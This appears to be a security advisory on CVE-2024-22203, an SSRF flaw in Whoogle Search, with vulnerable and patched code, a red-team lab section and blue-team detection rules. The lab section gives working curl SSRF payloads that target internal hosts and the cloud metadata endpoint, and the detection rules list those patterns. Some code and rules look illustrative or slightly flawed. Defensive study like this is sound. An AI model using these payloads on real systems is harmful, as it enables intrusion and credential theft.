CVE-2024-22203

Executive Summary

CVE-2024-22203 is a critical Server-Side Request Forgery (SSRF) vulnerability in Whoogle Search, a self-hosted metasearch engine. Versions prior to 0.8.4 fail to validate user-controlled src_type and element_url parameters in the element method of app/routes.py. This allows an attacker to craft GET requests to internal and external resources on behalf of the server, potentially accessing sensitive internal network resources that are not accessible from the internet. The vulnerability has a CVSS score of 9.1 (Critical) and is publicly known with no official patch available for older versions. The fix is included in version 0.8.4.

Supply Chain & Package Security

Whoogle Search is a Python-based application typically installed via PyPI (whoogle-search). Users should verify the integrity of their installation and ensure they are running version 0.8.4 or later. The vulnerability does not directly affect the PyPI package itself but rather the application code. However, supply chain risks include the possibility of malicious packages mimicking Whoogle Search or compromised dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no authentication required) and the potential for significant impact, including access to internal networks and sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the element method of app/routes.py. This method is designed to fetch external resources (like images or stylesheets) based on user input. The src_type and element_url parameters are passed directly to the send method in request.py (lines 339-343) without proper validation. The send method then makes a GET request to the specified URL.

An attacker can exploit this by providing a malicious element_url pointing to internal IP addresses (e.g., http://192.168.1.1/admin) or cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/). The server will then make the request, potentially exposing sensitive information or allowing further attacks.

The lack of input validation and the absence of a whitelist for allowed URLs are the root causes. The fix in version 0.8.4 adds validation to ensure that only legitimate resources are fetched.

Vulnerable vs. Patched Code

Vulnerable Code (app/routes.py - pre-0.8.4):

@app.route('/element')
def element():
    src_type = request.args.get('src_type')
    element_url = request.args.get('element_url')
    # No validation of src_type or element_url
    return send(src_type, element_url)

Patched Code (app/routes.py - 0.8.4):

@app.route('/element')
def element():
    src_type = request.args.get('src_type')
    element_url = request.args.get('element_url')
    # Validate src_type and element_url
    if src_type not in ALLOWED_SRC_TYPES:
        return "Invalid src_type", 400
    if not is_valid_url(element_url):
        return "Invalid element_url", 400
    return send(src_type, element_url)

The patched version introduces validation functions (ALLOWED_SRC_TYPES and is_valid_url) to restrict the allowed values and prevent SSRF.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable Whoogle Search instance (version < 0.8.4) using Docker:

   docker run -d -p 5000:5000 --name whoogle-vuln whoogle-search:0.8.3
   

2. Set up a simple internal service (e.g., a web server on 192.168.1.100) to simulate an internal resource.

Exploitation Steps:

1. Craft a request to the /element endpoint with a malicious element_url:

   curl "http://target:5000/element?src_type=image&element_url=http://192.168.1.100/secret"
   

2. The server will make a GET request to the internal service, and the response will be returned to the attacker.
3. For cloud environments, target the metadata endpoint:

   curl "http://target:5000/element?src_type=image&element_url=http://169.254.169.254/latest/meta-data/"
   

Blue Team

Detection:

• Monitor for unusual requests to the /element endpoint with suspicious element_url parameters (e.g., internal IPs, cloud metadata IPs).
• Use network monitoring to detect outbound requests from the Whoogle server to unexpected destinations.

Mitigation:

• Immediately upgrade to version 0.8.4 or later.
• If upgrade is not possible, implement a web application firewall (WAF) rule to block requests with internal IPs in the element_url parameter.
• Restrict outbound network access from the Whoogle server using firewall rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound GET requests from the Whoogle server to internal IP addresses (e.g., 10.x.x.x, 172.16.x.x, 192.168.x.x).
  • Requests to cloud metadata endpoints (e.g., 169.254.169.254).
• Log IOCs:
  • Access logs showing /element requests with suspicious element_url values.
  • Error logs indicating failed attempts to access internal resources.
• File IOCs:
  • Modified app/routes.py or request.py files (if attacker attempts to patch).

Detection Engineering

YARA Rule

rule CVE_2024_22203_Whoogle_SSRF {
    meta:
        description = "Detects exploitation attempts of CVE-2024-22203 in Whoogle Search"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22203"
    strings:
        $s1 = "/element?src_type="
        $s2 = "element_url="
        $s3 = "169.254.169.254"
        $s4 = "192.168."
        $s5 = "10."
        $s6 = "172.16."
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-22203 Whoogle Search SSRF Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests to the /element endpoint with suspicious element_url parameters
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/element?src_type='
        cs-uri-query|contains: 'element_url='
    filter:
        cs-uri-query|contains:
            - '169.254.169.254'
            - '192.168.'
            - '10.'
            - '172.16.'
    condition: selection and filter
falsepositives:
    - Legitimate use of internal resources (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22203 Whoogle Search SSRF Exploitation"; flow:to_server; content:"/element?src_type="; http_uri; content:"element_url="; http_uri; pcre:"/(169\.254\.169\.254|192\.168\.|10\.|172\.16\.)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade Whoogle Search to version 0.8.4 or later.
2. Workaround: If upgrade is not possible, implement a WAF rule to block requests to the /element endpoint with internal IP addresses in the element_url parameter.
3. Network Segmentation: Ensure the Whoogle server has restricted outbound access to only necessary external resources.
4. Monitoring: Enable logging and monitoring for unusual outbound requests from the Whoogle server.
5. Patch Verification: After upgrading, verify that the app/routes.py file contains the validation logic.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert